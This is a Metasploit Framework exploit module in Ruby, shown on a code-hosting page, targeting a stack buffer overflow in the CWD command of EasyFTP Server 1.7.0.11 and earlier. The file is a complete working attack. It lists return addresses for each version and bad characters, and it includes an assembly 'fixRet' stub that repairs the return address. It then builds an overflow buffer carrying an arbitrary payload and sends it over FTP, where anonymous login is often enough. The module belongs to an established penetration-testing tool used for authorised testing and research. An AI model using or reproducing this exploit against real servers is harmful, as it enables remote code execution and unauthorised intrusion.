CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'EasyFTP Server CWD Command Stack Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
16
and earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which
17
leads to a stack based buffer overflow. EasyFTP allows anonymous access by
18
default; valid credentials are typically unnecessary to exploit this vulnerability.
19
20
After version 1.7.0.12, this package was renamed "UplusFtp".
21
22
This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.
23
This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
24
'fixing' the return address post-exploitation. See references for more information.
25
},
26
'Author' =>
27
[
28
'Paul Makowski <my.hndl[at]gmail.com>', # original version
29
'jduck' # various fixes, remove most hardcoded addresses
30
],
31
'License' => MSF_LICENSE,
32
'References' =>
33
[
34
[ 'OSVDB', '62134' ],
35
[ 'BID', '38262' ],
36
[ 'URL', 'http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/' ],
37
[ 'URL', 'http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit' ],
38
[ 'URL', 'https://seclists.org/bugtraq/2010/Feb/202' ]
39
],
40
'Privileged' => false,
41
'Payload' =>
42
{
43
# Total bytes able to write without crashing program (505) - length of fixRet (25) - slack space (30) = 450
44
'Space' => 505 - 30 - 25,
45
'BadChars' => "\x00\x0a\x2f\x5c", # from: http://downloads.securityfocus.com/vulnerabilities/exploits/38262-1.py
46
'DisableNops' => true
47
},
48
'Platform' => 'win',
49
'Targets' =>
50
[
51
[ 'Windows Universal - v1.7.0.2', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe
52
[ 'Windows Universal - v1.7.0.3', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe
53
[ 'Windows Universal - v1.7.0.4', { 'Ret' => 0x00404111 } ], # call edi - from ftpbasicsvr.exe
54
[ 'Windows Universal - v1.7.0.5', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
55
[ 'Windows Universal - v1.7.0.6', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
56
[ 'Windows Universal - v1.7.0.7', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
57
[ 'Windows Universal - v1.7.0.8', { 'Ret' => 0x004043ca } ], # call edi - from ftpbasicsvr.exe
58
[ 'Windows Universal - v1.7.0.9', { 'Ret' => 0x0040438a } ], # call edi - from ftpbasicsvr.exe
59
[ 'Windows Universal - v1.7.0.10', { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe
60
[ 'Windows Universal - v1.7.0.11', { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe
61
],
62
'DisclosureDate' => '2010-02-16',
63
'DefaultTarget' => 0))
64
end
65
66
def check
67
connect
68
disconnect
69
70
if (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes
71
return Exploit::CheckCode::Detected
72
end
73
return Exploit::CheckCode::Safe
74
end
75
76
def exploit
77
connect_login
78
79
# If the payload's length is larger than 233 bytes then the payload must be bisected with the return address and later patched.
80
# Explanation of technique: http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/
81
82
# NOTE:
83
# This exploit jumps to edi, which happens to point at a partial version of
84
# the 'buf' string in memory. The fixRet below fixes up the code stored on the
85
# stack and then jumps there to execute the payload. The value in esp is used
86
# with an offset for the fixup.
87
fixRet_asm = %q{
88
mov ecx, 0xdeadbeef
89
mov edi, esp
90
sub edi, 0xfffffe14
91
mov [edi], ecx
92
add edi, 0xffffff14
93
jmp edi
94
}
95
fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string
96
97
buf = ''
98
99
print_status("Prepending fixRet...")
100
buf << fixRet
101
buf << make_nops(0x20 - buf.length)
102
#buf << "C" * (0x20 - buf.length)
103
104
print_status("Adding the payload...")
105
buf << payload.encoded
106
107
# Backup the original return address bytes
108
buf[1,4] = buf[268,4]
109
110
print_status("Overwriting part of the payload with target address...")
111
buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes
112
113
# NOTE: SEH head at offset 256 also gets smashed. That is, it becomes what is at fs:[0] ..
114
115
print_status("Sending exploit buffer...")
116
send_cmd( ['CWD', buf] , false) # this will automatically put a space between 'CWD' and our attack string
117
118
handler
119
disconnect
120
end
121
end
122
123